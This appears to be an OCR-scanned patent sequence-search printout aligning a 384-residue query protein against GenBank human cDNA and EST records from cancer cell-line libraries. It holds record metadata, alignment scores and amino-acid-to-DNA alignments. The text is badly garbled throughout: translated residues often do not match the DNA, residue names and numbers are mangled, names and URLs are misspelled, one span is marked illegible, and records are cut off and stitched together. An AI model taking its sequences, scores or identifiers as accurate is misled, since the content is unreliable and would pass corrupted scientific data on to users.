18	874	43.4	2969	11	AK004951	AK004951 Mus muscu
19	838	41.6	772	9	A1768991	A1768991 *J30406.*
20	812.5	40.3	618	10	AW916618	AW916618 EST347922
21	810	40.2	478	12	BE740866	BE740866 B01593092
22	804	39.9	1005	13	BM595257	BM595257 AGENCOURT
23	795	39.5	809	12	BG280830	BG280830 AGENCOURT
24	788.5	39.1	948	13	B1412584	B1412584 602990448
25	775	38.5	603	10	BE275818	BE275818 60112616
26	768	38.1	852	10	BE274434	BE274434 601120471
27	766	38.0	1075	13	BM557357	BM557357 AGENCOURT
28	764	37.9	2569	11	AK016616	AK016616 Mus muscu
29	735.5	36.5	568	9	A1552449	A1552449 m991h12.y
30	716.5	35.6	569	12	BF550719	BF550719 UI-R-CO-1
31	706.5	35.1	536	13	B1343972	B1343972 372297 MA
32	703	34.9	733	13	BM934157	BM934157 UI-M-CGDP
33	690	34.2	413	13	B1013556	B1013556 CM4-ET023
34	676.5	33.6	850	13	B1408649	B1408649 602962101
35	670.5	33.3	578	13	B1537300	B1537300 397038 MA
36	659.5	33.7	541	10	AV614861	AV614861 AV614861
37	656	32.6	676	10	AW963415	AW963415 EST375488
38	652	32.4	487	10	AW447713	AW447713 89768 MAR
39	651	32.3	702	10	BE346487	BE346487 h217ig10.x
40	646.5	32.1	487	12	BF443687	BF443687 261272 MA
41	646	32.1	812	9	B1413658	B1413658 602986869
42	639.5	31.7	761	9	AJ442695	AJ442695 AJ442695
43	639	31.7	386	14	BM797761	BM797761 K1-EST0081
44	627	31.1	715	10	AM476522	AM476522 ug77c01.y
45	626.5	31.1	491	13	BI005373	BI005373 RC4-HN004

REMARK
COMMENT

Gene Collection (MGC), Cancer Genomics Office, National Cancer Institute, 31 Center Drive, Room 11A03, Bethesda, MD 20892-2590, USA

NIH-MGC Project URL: <http://mgc.nci.nih.gov>

Contact: MGC help desk

Email: cgaps-remail.nih.gov

Tissue Procurement: AMCC/DCMD/DRP

cDNA Library Preparation: Rubin Laboratory

cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)

DNA Sequencing by: Genome Sequence Centre,

BC Cancer Agency, Vancouver, BC, Canada

info@cgsc.bc.ca

Steven Jones, Jennifer Asano, Ian Bosdet, Yaron Butterfield, Susanna Chan, Readman Chiu, Chris Fjell, Erin Garland, Ran Guin, Letticia Hsiao, Martin Krzywinski, Reta Kutsche, Oliver Lee, Soo Sen Lee, Victor Ling, Carrie Mathewson, Candice Mcleaver, Steven Ness, Pawan Pandoh, Anna-Lisa Prabhu, Parvaneh Saeedi, Jacqueline Schein, Duane Smalhus, Michael Smith, Lorraine Spence, Jeff Scott, Michael Thorne, Miranada Tsai, Natasja van den Bosch, Jill Vardy, George Yang, Scott Zuyerdun, Marco Marra.

Clone distribution: MGC clone distribution information can be found through the I.M.A.G.E. Consortium/LNL at: <http://image.lnl.gov>
Series: IRAL Plate: 34 Row: 1 Column: 9
This clone was selected for full length sequencing because it passed the following selection criteria: matched mRNA g1: 11464966
This clone has the following problem: incomplete processing.

FEATURES

source

1..2133
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:4871343"
/tissue_type="Skin, melanotic melanoma, high MDR."
/clone_id="NIH-MGC_49"
/lab_host="DH10B-R"
/note="Vector: pOTB7"

BASE COUNT 350 a 681 c 719 g 383 t
ORIGIN

Alignment Scores:

Pred. NO.: 3.6e-200 Length: 2133
Score: 1962.00 Matches: 375
Percent Similarity: 98.18% Conservative: 2
Best Local Similarity: 97.66% Mismatches: 7
Query Match: 97.37% Indels: 0
DB: 11 Gaps: 0

US-09-784-810a-2 (1-384) x BC014439 (1-2133)

QY 1 MetAspProAlaGlyTyrProAlaGlyValLeuProAlaGlyValLeuValLeu 20
DB 693 ATGGATCCACGGGGCGGGCCCGGGGGGCTCCCGCGCGCGCTGCTGCTGCTG 752
QY 21 LeuAsnProAlaGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGly 40
DB 753 CTGAACCCCGCGGGCGGCAAGGCGGCTTCAGCTCTCCGAGTCAAGCGACGCC 812
QY 41 LeuLeuAlaGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGly 60
DB 813 CTTTGGCTGAGCTGAATCTCTCTCCACGCTGATGCTCACTAGCGGGGAGCAAGCGG 872
QY 61 ArgGluLeuValAlaGlySerGluGluLeuGlyArgTyrAspAlaLeuValAlaMetSerGly 80
DB 873 CGGAGCGCTGCTGGCTGGAGAGAGCTGGCGCTGGAGAGCTCTGCTGCTGCTGGA 932
QY 81 AspGlyLeuMetHisGlyValAlaValAlaValAlaValAlaValAlaValAlaValAla 100
DB 933 GACGGCTGATGACGAGGAGGTGTGACGGCTCATGAGAGCGGCTGACTGGAGACCGCC 992
QY 101 IleGlnGlyProLeuGlySerLeuProAlaGlySerGlyGlyGlyGlyGlyGlyGlyGly 120
DB 993 ATCCAGAAAGCCCTGTGTAGGCTCCACGAGGCTGTGGCAAGCGGCTGGAGCTTCTTG 1052

QY 121 AsnHisTyrAlaGlyTyrGluGluValThrAsnGluAspLeuLeuThrAsnGlyThrLeu 140
DB 1053 AACCATTAATGCTGATGATGAGAGGTACCAATGAAGAGCTCTGACCAACAGCGGCA 1112
QY 141 LeuLeuGlyAsnArgProValLeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerGly 160
DB 1113 TTGCTGTGCGCGCGCGCTGCTGACCATATGACCTGCTGCTGCTGCTGCTGCTG 1172
QY 161 LeuArgSerPheSerValLeuSerLeuAlaThrGlyPheLeuAlaAspValAlaLeuGlu 180
DB 1173 CTGGCGCTCTTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1232
QY 181 SerAspLysTyrArgGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGly 200
DB 1233 AGTGAAGATGATTCGGCTGCTGCGGAGATGCGCTTCACTGCGACCTTCTGCTGCTG 1292
QY 201 AlaAlaLeuArgThrTyrArgGlyArgLeuAlaThrLeuProValGlyArgValGlyPhe 220
DB 1293 GCAGCGCTGCGACACTACCGCGCGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1352
QY 221 LysThrProAlaSerProValValAlaGluGluGlyProValAspAlaHisLeuValPro 240
DB 1353 AAGACACCTGCTCCCTCCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1412
QY 241 LeuGluGluGluValProSerHisTyrGluValAlaProAspGluAspPheValLeuVal 260
DB 1413 CTGGAGAGCCAGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1472
QY 261 LeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaAlaProMetGlyArgCys 280
DB 1473 CTGGACCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1532
QY 281 AlaAlaGlyValMetHisLeuPheTyrValArgAlaGlyValSerArgAlaMetLeuLeu 300
DB 1533 GACGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1592
QY 301 ArgLeuPheLeuAlaMetGluGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGlyGly 320
DB 1593 CGCCTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1652
QY 321 TyrValProValValAlaPheArgLeuGluProLysAspGlyLysGlyValAlaPheAlaVal 340
DB 1653 TACGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1712
QY 341 AspGlyGlyLeuMetValSerGluAlaValAlaGluGluGluGluGluGluGluGluGlu 360
DB 1713 GATGGGAATTGATTGATTGATTGATTGATTGATTGATTGATTGATTGATTGATTGATTGATTG 1772
QY 361 MetValSerGlyCysValGluProProPheSerTyrLysProGluGluMetProProPro 380
DB 1773 ATGGTACGCGGTTGCTGGAGAGCCCGCCAGCTGGAAGCCAGCAGATGCCACCGCCA 1832
QY 381 GluGluProLeu 384
DB 1833 GAAGAGCCCTTA 1844

RESULT 2
BM808698 1054 bp mRNA linear EST 05-MAR-2002
LOCUS AGENCOURT_6582622 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:5471258
DEFINITION 5', mRNA sequence.
BM808698
BM808698.1 GI:19125509
ACCESSION
VERSION
KEYWORDS
SOURCE
ORGANISM
human.
Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Hominidae; Homo.
REFERENCE
1 (bases 1 to 1054)
NIH-MGC <http://mgc.nci.nih.gov/>.
National Institutes of Health, Mammalian Gene Collection (MGC)
Unpublished (1999)
COMMENT
Contact: Robert Strausberg, Ph.D.

Email: c9apbs-remail.nih.gov
 Tissue Procurement: DCTD/DRP
 cDNA Library Preparation: Rubin Laboratory
 cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)
 DNA Sequencing by: Agencourt Bioscience Corporation
 Clone distribution: MGC clone distribution information can be
 found through the I.M.A.G.E. Consortium/LLNL at:
<http://image.llnl.gov>
 Plate: LCM1976 row: g column: 03
 High quality sequence start: 7
 High quality sequence stop: 666.
 Location/Qualifiers

FEATURES

1..1054
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone_image="5471258"
 /clone_lib="NIH_MGC_41"
 /tissue_type="amelanotic melanoma, cell line"
 /lab_host="DH10B (phage-resistant)"
 /note="Organ: skin; Vector: pOTB7; Site: 1: XhoI; Site: 2:
 EcoRI; cDNA made by oligo-dT priming. Directionally cloned
 into EcoRI/XhoI sites using the following 5' adaptor:
 GGCACGAG(G). Library constructed by Ling Hong in the
 Laboratory of Gerald M. Rubin (University of California,
 Berkeley) using ZAP-cDNA synthesis kit (Stratagene) and
 Superscript II RT (Life Technologies). Note: this is a
 NIH_MGC Library."

BASE COUNT 177 a 317 c 340 g 220 t
 ORIGIN

Alignment Scores:

Pred. No.: 8.38e-151 Length: 1054
 Score: 1499.50 Matches: 302
 Percent Similarity: 90.35% Conservatve: 7
 Best Local Similarity: 88.30% Mismatches: 27
 Query Match: 74.42% Indels: 6
 DB: 14 Gaps: 2

US-09-784-810a-2 (1-384) x BM808698 (1-1054)

49 PherthleuMetleuThglUArGArGAsnHsAlaArgLUleuValArgSerLUclu 68
 |||||
 3 TTCACGCTGATGTTCTACGAGCGGGAACCGCGGAGCTGCTGCGGAGAG 62
 |||||
 69 LeuGlyArgTrpAspAlaLeuValAlaMetSerGlyAspGlyLeuMetHisGlyValAl 88
 |||||
 63 CTGGCGCGCTGGAGAGCTCTGGTGTCTATGCTGAGACGGGCTATGACAGAGTGTG 122
 |||||
 89 AsnGlyLeuMetGlyArgProAspTrpGluThrAlaIleGlnLysProLeuGlySerLeu 108
 |||||
 123 AACGGGCTCATGAGACCGCTGACGAGACCGCATCCAGAACCCCTGTGTGCTGC 182
 |||||
 109 ProAlaGlySerGlyAsnAlaLeuAlaSerLeuAsnHsTrpAlaGlyTrpLUclu 128
 |||||
 183 CCAGAGGCTCTGGGAACGCGCTGACCTCTTGAACCATATGCTGGCTATGAGCAG 242
 |||||
 129 ValThrAsnGlyAspLeuLeuThrAsnGlyThrLeuLeuLeuGlyArgProValLeuSer 148
 |||||
 243 GTCACCATGAGACCTCTGACCACTGACAGCTATGCTGTGCGCGGCTGTGCA 302
 |||||
 149 ProMetAsnLeuLeuSerLeuHsThrAlaSerGlyLeuArgSerPheSerValLeuSer 168
 |||||
 303 CCCATGAACTCTCTCTGACACACGCTTGGGGCTGCGGCTCTCTGTGCTCAGC 362
 |||||
 169 LeuAlaTrpGlyPheAlaAspValAspLeuGlySerAspLysTrpArgArgLeuGly 188
 |||||
 363 CTGGCTGGGCTTATTGCTGATGTGACCTAGAGAGTGAAGATATCGGCGCTGGGG 422
 |||||
 189 GluMetArgPheThrLeuGlyThrPheLeuArgLeuAlaAlaLeuArgThrTrpArgGly 208
 |||||
 423 GAGATGCGCTTACCTCTGGGACCTTCTGCTGCGGACCCCTGCGACCTACCGCGGC 482
 |||||
 209 ArgLeuAlaThrLeuProValGlyArgValGlyPheLysThrProAlaSerProValVal 228
 |||||

|||||
 483 CCACCTGGCTTACCTCTCTAGGAAGAGTGGGTTCCAGACCTGCTCCCTGTTG 542
 |||||
 229 ValGlnGlnGlyProValAspAlaHsLeuValProLeuGluGluGlnValProSerHs 248
 |||||
 543 GTCCACGAGAGGCGCGGTAGATGACACCTGTGGCCACTGGAGAGAGAGAGTCCCTGAC 602
 |||||
 249 TrpGlnValValProAspGlyLysPheValLeuValLeuAlaLeuHsSerHsLeu 268
 |||||
 603 TGGACAGTGTGCTCCGACAGAGACTTGGTGTCTGCTGACCTGCTGACCTGACCTG 662
 |||||
 269 AlaSerGluMetPheAlaAlaProMetGlyArgCysAlaAlaGlyValMetHsLeuPhe 288
 |||||
 663 GGCATGAGATTTTGTCTGACACCATGGGCGGCTGTGACGCTGCTGATCTGTTG 722
 |||||
 288 TrpValArg-AlaGlyValSerArgAlaMetLeuLeuArgLeuPheLeuAlaMetGly 308
 |||||
 723 TACGTGGCGGGGAGAGTGTCTGTCGTCATGCTGCTGCGCTCTCTGTCATGAGAGA 782
 |||||
 308 sGlyArgHsMetGlyTrpGlyLysProTrpLeuValTrpValProValAlaPheArg 328
 |||||
 783 GGGACGATATGAGATGAAATGCCCTTACTTGGATATGTCGCGGTGCTGCTTGC 842
 |||||
 328 GLeuGluProLysAspGlyLysGlyValPheAlaValAsp---GlyGluLeuMetValSe 347
 |||||
 843 CTGGAGGCCAAGAGATGGGAAGAAGTGTGTTGCTACATGGAATGATGTTGTTAC 902
 |||||
 347 tGluAlaValGlnGlyGlnValHsProAsnTrpPheTrpMetValSerGlyCysVal-- 366
 |||||
 903 CGAGCGCGCTGACGAGGCGCCAGTGCACCCACTTATTTGGAGAGGCCCAAGGGGTGG 962
 |||||
 367 ----GluProProProSerTrpLys-ProGlnGluMet-ProProProGluLysProLeu 384
 |||||
 963 GTGAGACCCCGCCCGAGCTGGAACCCCGCCAGATGCCACCGCCAAAGAACCCCTT 1022
 |||||

RESULT 3
 BM810136
 LOCUS
 DEFINITION
 AGENCOURT_6579661 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:5470089
 5', mRNA sequence.
 ACCESSION
 BM810136
 VERSION
 BM810136.1 GI:19126959
 KEYWORDS
 EST.
 SOURCE
 ORGANISM
 Homo sapiens
 human.
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 REFERENCE
 1 (bases 1 to 1137)
 NIH-MGC <http://mhc.nci.nih.gov/>.
 Mammalian Gene Collection (MGC)
 Unpublished (1999)
 CONTACT
 Contact: Robert Strausberg, Ph.D.
 Email: c9apbs-remail.nih.gov
 Tissue Procurement: DCTD/DRP
 cDNA Library Preparation: Rubin Laboratory
 cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)
 DNA Sequencing by: Agencourt Bioscience Corporation
 Clone distribution: MGC clone distribution information can be
 found through the I.M.A.G.E. Consortium/LLNL at:
<http://image.llnl.gov>
 Plate: LCM1976 row: f column: 10
 High quality sequence stop: 623.
 Location/Qualifiers

FEATURES

1..1137
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone_image="5470089"
 /clone_lib="NIH_MGC_41"
 /tissue_type="amelanotic melanoma, cell line"
 /lab_host="DH10B (phage-resistant)"
 /note="Organ: skin; Vector: pOTB7; Site: 1: XhoI; Site: 2:
 EcoRI; cDNA made by oligo-dT priming. Directionally cloned
 into EcoRI/XhoI sites using the following 5' adaptor:

109 ProAlaGlySerGlyAsnAlaLeuAlaLeuSerLeuAsnHisTyrAlaGlyTyrGlu 128
 183 CCAGACAGGCTCTGGCAACGCGCTGGACCTCTTGAACCATTAATGCTGATGAGCAG 242
 129 ValThrAsnGluAspLeuLeuThrAsnCysThrLeuLeuLeuCysArgProValLeuSer 148
 243 GTCACCATTAAGAACCTCTGACCAACGACGATATGCTGCGCGCGCTGTCGCA 302
 149 ProMetAsnLeuLeuSerLeuHisThrAlaSerGlyLeuArgSerPheSerValLeuSer 168
 303 CCAATGAACCTGCTCTCTCTCACACGCGCTTGGGGGCTCCCTCTCTCTGCTCAGC 362
 169 LeuAlaTrpGlyPheLeuAlaAspValAspLeuGluSerAspLysTyrArgArgLeu 188
 363 CTGGCTGGGCTTCTATGCTGATGTGACCTAGAGAGTGAAGATATGCGGTGGGG 422
 189 GluMetArgPheThrLeuGlyThrPheLeuArgLeuAlaAlaLeuArgThrTyrArgGly 208
 423 GAGATGGCTTCACTCTGGGACCTTCTGGGTGGGACGCTGCGACCTGACCGGCGC 482
 209 ArgLeuAlaThrLeuProValGlyArgValGlyPheLysThrProAlaSerProValVal 228
 483 CGACTGGCTACCTCCCTGTAGAGAGAGTGGGTCCAGACACCTGCCCTCCCGCTGTG 542
 229 ValGlnGlnGlyProValAspAlaHisLeuValProLeuGluGluGlnValProSerHis 248
 543 GTCCACGACGGCGCGGTAGATGACACCTTGTGGCAGTGAAGACCGACGCTCTCTAC 602
 249 TrpGlnValValProAspGluAspPheValLeuValLeuAlaLeuHisSerHisLeu 268
 603 TGGACAGTGTGCGCGACGAGAGACTTGTGTAGTCCGTGGACCTGCTCAGCTCGACCTG 662
 269 --AlaSerGluMetPheAlaAlaProMetGly-ArgCysAlaAlaGlyValMetHisLeu 287
 663 GGCAGAGTGAATGTTCTGCTGACCAATGGCCGCTGTGACGCTGACATGATCATCTG 722
 288 PheTyr--ValArgAlaGly--ValSerArgAlaMetLeuLeuArgLeuPheLeu-Al 305
 723 TTCACGCGCNCNNGGCGGGAAGTGTCTCGCTGACATGCTGCTGCTCTCTGCGNCC 782
 305 aMetGluLysGlyArgHisMetGluTyrGlu-----CysProTyrLeu-ValTyrV 322
 783 CTGGAAAAAGGCGCGCCATT--TGGGAAGTAAATGATGGCGCCCTAATGAGATATGG 839
 322 alProValValAlaPheArgLeuGluProLysAsp--GlyLysGlyValAlaPheAlaVal 341
 840 GCGCGGTGGCGGCTTCCGCTTGGAAACCGAGGATTTGGAAAGAGGTTTTCACAAG 899
 341 sp--GlyGluLeu-----MetValSerGluAlaValGlnGlyGlnValHisProAsn 358
 900 GAATGGGGGAATTAATGATTACCAAGCCCGCGGACGAGGCCCAAGGGGACCCCAAT 959
 358 yPheTrpMetValSer-----GlyCysValGluProProProSerTrpLys- 373
 960 TACCTTTTGGATTGGCCCAAGGGTTTGGGGGGAACCCCGCCCGCCATCTTGGGA-A 1018
 374 -----ProGlnGlnMetProProProGluGluProLeu 384
 1019 CAGCCCCNCAATATGTCCTCCCGCCCAAAAAGCCCTT 1056
 Db
 RESULT 7
 B0647377 888 bp mRNA linear EST 15-JUL-2002
 LOCUS B0647377
 DEFINITION AGENCOURT_8414975 NIH_MGC_100 Homo sapiens cDNA clone IMAGE:6272071
 5', mRNA sequence.
 ACCESSION B0647377
 VERSION B0647377.1 GI:21771549
 KEYWORDS EST.
 SOURCE human.
 ORGANISM Homo sapiens
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.

REFERENCE 1 (bases 1 to 888)
 AUTHORS NIH-MGC <http://mgc.nci.nih.gov/>.
 TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
 JOURNAL Unpublished (1999)
 COMMENT Contact: Robert Strausberg, Ph.D.
 Email: cgabbs-remail.nih.gov
 Tissue Procurement: CGAP (Starford)
 cDNA Library Preparation: Rubin Laboratory
 cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
 DNA Sequencing by: Agencourt Bioscience Corporation
 Clone distribution: MGC clone distribution information can be
 found through the I.M.A.G.E. Consortium/LNL at:
<http://image.llnl.gov>
 Plate: L1CM2449 row: n column: 08
 High quality sequence start: 6
 High quality sequence stop: 668.
 FEATURES
 source
 1..888
 Location/Qualifiers
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone="IMAGE:6272071"
 /clone_lib="NIH_MGC_100"
 /tissue_type="hepatocellular carcinoma, cell line"
 /lab_host="DH10B (phage-resistant)"
 /note="Organ: liver; Vector: pOTB7; Site 1: XhoI; Site 2:
 EcoRI; XhoI sites using the following 5' adaptor:
 GGCAAGAG(G). Size-selected >500bp for average insert size
 1.8kb. Library constructed by Ling Hong in the laboratory
 of Gerald M. Rubin (University of California, Berkeley)
 using ZAP-cDNA synthesis kit (Stratagene) and Superscript
 II RT (Life Technologies). Note: this is a NIH_MGC
 Library."
 BASE COUNT 137 a 274 c 284 g 193 t
 ORIGIN
 Alignment Scores:
 Pred. No.: 8,466-121 Length: 888
 Score: 1220.00 Matches: 237
 Percent Similarity: 96.40% Conservative: 4
 Best Local Similarity: 94.80% Mismatches: 7
 Query Match: 60.55% Indels: 2
 DB: 14 Gaps: 0
 US-09-784-810a-2 (1-384) x B0647377 (1-888)
 137 AsnCysThrLeuLeuLeuCysArgProValLeuSerProMetAsnLeuLeuSerLeuHis 156
 31 CACTGCACGCTATTCCTGTGCGCGGCTGCTGTCACCAACCATGACCTGCTCTGCAC 90
 157 ThrAlaSerGlyLeuArgSerPheSerValLeuSerLeuAlaTrpGlyPheLeuAlaAsp 176
 91 ACGGCTTGGGGGCTGGCGCTCTCTCTGTGCTGACCGCTGGGCTTCAATTCCTAT 150
 177 ValAspLeuGluSerAspLysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyThr 196
 131 GTGACACTAGAGAGAGAGAATGCGGCTCGGGGAGATGCCCTTCACTCTGGGACCC 210
 197 PheLeuArgLeuAlaAlaLeuArgThrTyrArgGlyArgLeuAlaThrLeuProValGly 216
 211 TTCTGTGCTGTGGAGCCCTGCGCACCTACCGCGCGACATGCGCTACCTCCCTAGGA 270
 217 ArgValGlyPheLysThrProAlaSerProValValValGlnGlnGlyProValAspAla 236
 271 AGAGTGGGTTCACAAACACCTGCTCCCGCTTGTGTCCACAGAGCGCGGTATGATCA 330
 237 HisLeuValProLeuGluGlnGlnValProSerHisTyrPglValValValProAspGlu 256
 331 CACTTGTGCGCACTGAGAGAGGACGAGTGCCTCTCACTGACAGTGTGCTCCGACAGAC 390
 257 PheValLeuValLeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaAlaPro 276
 391 TTGTGTAGTCTGCTGCACTGCTGCACTGCGACATGAGATGATGTTGCTGACACC 450

Mon Jul 14 09:16:48 2003

us-09-784-810a-2.rst

Page 8

QY	277	metcglvargcysalalaglvalmethislenphtyvalaralaglvalseracg	296
Db	451	atggagccgctgctgacactggcgtatgcattctgttctacgtcgagccgacagtctcgt	510
QY	297	alalmetleuileuiprtyleuipheleuulamethilysglialrghismetglutryglucys	316
Db	511	gcacatgcctggcgccctcttctctggccatggagagagcagcatatgagatgattgc	570
QY	317	protyrileuvaltyrvalprovalvalalapharyglencupprotyraspglylysgly	336
Db	571	ccctactctggatatttgcgccctgcctctccctcttgagaccctcagatagagaaagt	630
QY	337	valphealvalaspilyluemkethalsercualalvalglnlyglnvalhapro	356
Db	631	gtgtttgcattgcattggcgaattgattgaccagaccctgcagagccacagctcacca	690
QY	357	asnytyrphetrmethalser-glycysvalgluppro-proseretlylsprrgng	376
Db	691	aactcactcttgcattgctcagcggatgctgtgagaccctcccccctctgagagccctcagc	750
QY	376	lmneprpropnroglucgluproleu	384
Db	751	aatatccacaccgacagagagccctttaa	776

RESULT 8						
LOCUS	BG680521					
DEFINITION	BG680521	785 bp	mRNA	linear	EST-01-MAY-2001	
	G0262B34.F1	NCI_CGAP_Skn4	Homo sapiens cDNA clone IMAGE:4753187	5'		
ACCESSION	BG680521					
VERSION	BG680521.1	GI:13911918				
KEYWORDS	EST.					
SOURCE	human.					
ORGANISM	Homo sapiens					
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;						
Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.						
REFERENCE	1 (bases 1 to 785)					
AUTHORS	NIH-MGC	http://mgc.nhl.nih.gov/.				
TITLE	National Institutes of Health, Mammalian Gene Collection (MGC)					
JOURNAL	Unpublished (1999)					
COMMENT	Contact: Robert Strausberg, Ph.D.					

Tissue procurement: James Cleaver, M.D.
cDNA library preparation: Life Technologies, Inc.
cDNA library arrayed by: The M.A.G.E. Consortium (LMNL)
DNA sequencing by: Incyte Genomics, Inc.
Clone distribution: MCC clone distribution information can be found through the M.A.G.E. Consortium/LMNL at: <http://image.llnl.gov>
Plate: LMNL0612 row: 9 column: 12
High quality sequence: row: 783.

FEATURES
SOURCE

1997

```

/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:4753187"
/clone_lib="NCI_CGAP_Skn4"
/tissue_type="squamous cell carcinoma"
/lab_host="DH10B (T1 phage-resistant)"
/note="Organ: skin; Vector: pCMV-Sport6; Site_1: NotI;
Site_2: SalI; cloned unidirectionally. Primer: Oligo dT
Average insert size 1.5kb. Library constructed by Life
Technologies. Note: this is a NCI_CGAP Library."

```

Alignment Scores:	
Pred. No.:	1.02e-120
Score:	1218.50
Percent Similarity:	95.00%
Best Local Similarity:	93.85%
Query Match:	60.47%
Length:	785
Matches:	244
Conservative:	3
Mismatches:	12
Indels:	3

DB:	12	Gaps:	0
US-09-784-810A-2 (1-384) x BG680521 (1-785)			

US-09-784-810A-2 (1-384) x BG680521 (1-785)

[illegible]

FEATURES	Location/Qualifiers
source	1. .842

BASE COUNT	158 a	236 c	248 g	200 t
ORIGIN				

Alignment Scores:	
Pred. No.:	8, 19e-111
Score:	1127.00
Percent Similarity:	88.45%
Best Local Similarity:	78.70%
Query Match:	55.93%
DB:	13
US-09-784-810A-2 (1-384) x B1648186 (1-842)	
	Length: 842
	Matches: 218
	Conservative: 27
	Mismatches: 29
	Indels: 3
	Gaps: 2

Oy	45	AlaGluIleSerPheThrLeuMetLeuThrGluArgGlnAsnHisAlaArgLeuVal	64
Db	2	GCAGAGATNAACCTTTAAACTGATGACTACACCGAGGAGAAACATGCCAGGAACCTGGTG	61
Oy	65	ArgSerGluGluLeuGlyArgGTrpAspAlaLeuValValMetSerGlyAspGlyLeuMet	84
Db	62	TGTGGACAGAGACTTTGGGTCTACTGGGAGCCCTCGGCAGACTCATGTCCGGGAGTGGTGTATG	121
Oy	85	HisGluValValAsnGlyLeuMetLeuArgProAspTrpGluTrpHisAlaIleGlnLysPro	104
Db	122	CATGAGAGTGTAAATGGCTAAATGGAGACGGCCCGGACTGGGAGACTGCCATCAAAAACC	181
Oy	105	LeuCySerLeuProAlaGlySerGlyAsnAlaLeuAlaAlaSerLeuAsnHisTyrAla	124
Db	182	CTGTGAGCCTCCCTGGAGCTCCGGCAATGGCGCTGGCAGCTTCTGTGAMCCATTATGCT	241
Oy	125	GlyTyrGluGlnValThrAsnGluAspLeuLeuThrAsnCystrHisLeuLeuLeuCysArg	144
Db	242	GGGTACGACAGAGTGACTATGAAGACCTGGCTCATCAACTGCACACTGCTGTGTGGCCG	301
Oy	145	ProValLeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerGlyLeuArgSerPhe	164
Db	302	CGGCGCCTTCACCCATGAACCTGGTGTCCCTGCACACTGGTGTGGGCTCCGGCTTAT	361
Oy	165	SerValLeuSerLeuAlaTrpGlyPheIleAlaAspValAspLeuGluSerAspLysTyr	184
Db	362	TCTGTCTCTAGTCTGTGCTCGGGGCTTTGTGTGTGCTGACGTGGACCTCGAGAGTGAAGAATAC	421
Oy	185	ArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArgLeuAlaAlaLeuArg	204
Db	422	AGCGCGTTGGGGAGATTTGTTTACAGTGGGACACTTCTTGGCGTAGCAAGCTGGCG	481
Oy	205	ThrTyrArgGlyArgLeuAlaThrLeuProValGlyArgValGlyPheLysThrProAla	224

RESULT 10				
B678689				
LOCUS	B678689.	793 bp	mRNA	linear
DEFINITION	60262448861 NCI_CGAP_Skn4 Homo sapiens cDNA clone IMAGE:4749573 5'			
	mRNA sequence.			

VERSION	KEYWORDS	SOURCE	ORGANISM	REFERENCE	AUTHORS	TITLE	JOURNAL	COMMENT
BS678689.1	GI:13910086	EST	human.	Homo sapiens	Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.	1 (bases 1 to 793)	NIH-MGC. http://mgc.nci.nih.gov/ .	National Institutes of Health, Mammalian Gene Collection (MGC) Unpublished (1999)
								Contact: Robert Strausberg, Ph.D.

Tissue Procurement: James Cleaver, M.D.
 cDNA Library Preparation: Life Technologies, Inc.
 CDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
 DNA Sequencing by: Incyte Genomics, Inc.
 Clone distribution: MGC clone distribution information can be
 found through the I.M.A.G.E. Consortium/LNL at:
<http://image.llnl.gov>
 Plate: L1AMI0602 row: p column: 22
 High quality sequence stop: 669.

```

source
1. .793
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:4749573"
/clone_lib="NCI_CGAP_Skn4"
/tissue_type="squamous cell carcinoma"
/lab_host="DH10B (r1 phage-resistant)"
/note="Organ: skin; Vector: pCMV-SPORT6; Site_1: NCI; Site_2: SalI; Cloned unidirectionally. Primer: Oligo dT Average insert size 1.5kb. Library constructed by Life Technologies. Note: this is a NCI-CGAP Library."
BASE COUNT
129 a 244 c 255 g 165 t

```

Alignment Scores:		
Pred. No.:	6,76e-106	Length: 79
Score:	1081.00	Matches: 23
Percent Similarity:	89.22%	Conservative: 5
Best local Similarity:	87.36%	Mismatches: 19
